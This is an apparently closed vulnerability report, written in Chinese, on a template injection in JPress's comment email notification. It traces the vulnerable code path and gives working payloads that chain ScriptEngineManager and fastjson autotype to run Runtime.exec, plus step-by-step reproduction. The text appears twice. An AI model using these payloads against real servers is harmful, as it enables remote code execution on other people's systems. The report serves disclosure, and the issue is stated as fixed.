Closed Er1cccc closed 2 years ago
jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题
#(comment.id)
接着,尝试发一条评论看看后端代码的执行流程
后端对应的代码是io.jpress.module.article.controller.front.ArticleController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员
io.jpress.module.article.controller.front.ArticleController#postComment
跟进io.jpress.module.article.kit.ArticleNotifyKit#notify,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的
io.jpress.module.article.kit.ArticleNotifyKit#notify
发现byEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的
byEmail
doSendEmail
getTemplateByString
分析到这里应该可以直接打模板注入了,构造如下payload
#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")) #set(e=x.getEngineByName("js")) #(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
然后随便发一条评论,这时会触发邮件发送,就会触发ssti。但是很遗憾,评论之后发现触发失败了,后端出现了报错
排查问题后发现,我们的payload被后端处理过,payload中的引号被html编码了,那么在模板解析的时候自然就报错了。
因此尝试不使用引号构造payload,构造出了如下payload,我们将字符串内容通过评论内容进行传入
#set(str=comment.content) #set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #set(sem=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #(x.addAccept(sem)) #set(json=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(x=com.alibaba.fastjson.JSON::parse(json)) #set(js=str.substring(0, str.indexOf(124))) #set(str=str.substring(str.indexOf(124)+1)) #set(e=x.getEngineByName(js)) #(e.eval(str))
因为后端在渲染模板时将comment对象传入了,所以我们可以获取comment.content,而这个值又是在评论时我们可以控制的,最终就造成了rce
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱,随便配一个,这个是收件者
还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交
然后设置恶意邮件模板,同样记得要提交
接下来,随便找一篇博客在下面评论这个payload
javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")
发现计算器成功弹出,漏洞验证成功
在 jpress 最新版本中已解决。
审计过程
jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用
#(comment.id)
,那么猜测这里可能会存在模板渲染问题接着,尝试发一条评论看看后端代码的执行流程
后端对应的代码是
io.jpress.module.article.controller.front.ArticleController#postComment
,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员跟进
io.jpress.module.article.kit.ArticleNotifyKit#notify
,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的发现
byEmail
方法会继续调用doSendEmail
,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString
进行渲染,这两个变量实际上就是最开始我们在前端页面输入的分析到这里应该可以直接打模板注入了,构造如下payload
然后随便发一条评论,这时会触发邮件发送,就会触发ssti。但是很遗憾,评论之后发现触发失败了,后端出现了报错
排查问题后发现,我们的payload被后端处理过,payload中的引号被html编码了,那么在模板解析的时候自然就报错了。
因此尝试不使用引号构造payload,构造出了如下payload,我们将字符串内容通过评论内容进行传入
因为后端在渲染模板时将comment对象传入了,所以我们可以获取comment.content,而这个值又是在评论时我们可以控制的,最终就造成了rce
效果演示
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱,随便配一个,这个是收件者
还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交
然后设置恶意邮件模板,同样记得要提交
接下来,随便找一篇博客在下面评论这个payload
发现计算器成功弹出,漏洞验证成功